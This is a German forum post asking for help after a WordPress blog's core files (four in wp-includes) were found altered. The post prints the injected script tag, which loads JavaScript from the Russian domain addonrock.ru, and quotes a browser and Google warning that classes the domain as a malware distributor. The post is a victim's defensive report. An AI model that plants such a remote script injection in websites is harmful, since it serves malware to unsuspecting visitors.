Unbekanntes Script auf dem Server / Wordpress / http://addonrock.ru/OCR.js

Stabilo · 17.09.2010, 19:44

Hallo,
heute sagte mir mein Bekannter, dass er eine Fehlermeldung bekam, als er seinen Wordpress-Blog aufrufen wollte. Vielleicht ist der folgende Sachverhalt wichtig um die Verbreitung von Malware zu verhindern. Als er an der betreffenden Stelle nach dem Fehler schaute, fand er dort ein unbekanntes Script.

Code:

ATTFilter

<script type="text/javascript" src="h***://addonrock.ru/OCR.js"></script>
<!--c9168d0ef49443a787ad05c469485c26-->

Auch stellte er fest, dass in dem "wp-includes"-Ordner vier Dateien zum gleichen Zeitpunkt geändert wurden. In allen Dateien befand sich der oben aufgeführte Quellcode. Geändert wurden im oben benannten Ordner:
- default-constants.php
- default-embeds.php
- default-filters.php
- default-widgets.php

Wenn man die im Quellcode benannte Domain öffnen will, dann kommt bei mir eine Fehlermeldung:

Zitat:

Als attackierend gemeldete Website!

Die Website auf addonrock.ru wurde als attackierende Seite gemeldet und auf Grund Ihrer Sicherheitseinstellungen blockiert.

Attackierende Websites versuchen, Programme zu installieren, die private Informationen stehlen, Ihren Computer verwenden, um andere zu attackieren oder Ihr System beschädigen.

Manche Websites vertreiben bewusst Viren und ähnlich schädliche Software, aber viele Websites sind auch ohne das Wissen oder die Erlaubnis des Betreibers kompromittiert.

Wenn man dort auf das Button "warum wurde diese Seite blockiert?" klickt, kommt folgende Information:

Zitat:

Wie ist die gegenwärtige Einstufung von addonrock.ru?

Diese Website ist als verdächtig eingestuft. Das Aufrufen dieser Website kann schädlich für Ihren Computer sein!

Ein Bestandteil dieser Website wurde in den letzten 90 Tagen 1 mal aufgrund verdächtiger Aktivitäten auf die Liste gesetzt.

Welche Befunde hat Google beim Besuch dieser Website festgestellt?

Bei 0 Seite(n) von insgesamt 12 Seiten dieser Website, die wir in den letzten 90 Tagen getestet haben, wurde festgestellt, dass Malware (Schadsoftware) ohne Einwilligung des Nutzers heruntergeladen und installiert wurde. Der letzte Besuch von Google auf dieser Website war am 2010-09-17 und in den letzten 90 Tagen wurde auf dieser Website kein verdächtiger Content gefunden.

Malicious software includes 17 trojan(s), 6 exploit(s).

This site was hosted on 9 network(s) including AS14929 (VITELITY), AS15830 (TELECITY), AS33823 (GEMENII).

Hat diese Website als Überträger zur Weiterverteilung von Malware fungiert?

In den letzten 90 Tagen hat addonrock.ru offenbar als Überträger für die Infektion von 12 Website(s) fungiert, darunter abcmoney2010.com/, varahaschool.com/, naturallove.co.kr/.

Hat diese Website Malware gehostet?

Nein, diese Website hat in den letzten 90 Tagen keine Malware gehostet.

Wie kam es zu dieser Einstufung?

Gelegentlich wird von Dritten bösartiger Code in legitime Websites eingefügt. In diesem Fall wird unsere Warnmeldung angezeigt.

Nächste Schritte:

* Zur vorherigen Seite zurückkehren.
* Falls Sie Eigner dieser Website sind, können Sie eine Überprüfung Ihrer Website mit den Google Webmaster-Tools anfordern. Weitere Informationen über den Prüfprozess erhalten Sie in der Hilfe für Webmaster.

Jetzt meine Fragen zu diesem Sachverhalt. Kann jemand hilfreiche Angeben machen? Um was handelt es sich hier genau? Reicht es wenn oben benannter Quellcode aus den Dateien entfernt wird, um schädlichen Einfluss zu unterbinden? Wie funktioniert es, dass Dritte den Dateien einfach ein Code beigefügen können?

Vielen Dank bereit für eine Antwort und schonmal ein schönes Wochenende!

Stabilo

Unbekanntes Script auf dem Server / Wordpress / http://addonrock.ru/OCR.js

Plagegeister aller Art und deren Bekämpfung: Unbekanntes Script auf dem Server / Wordpress / http://addonrock.ru/OCR.js

Unbekanntes Script auf dem Server / Wordpress / http://addonrock.ru/OCR.js

Ähnliche Themen: Unbekanntes Script auf dem Server / Wordpress / http://addonrock.ru/OCR.js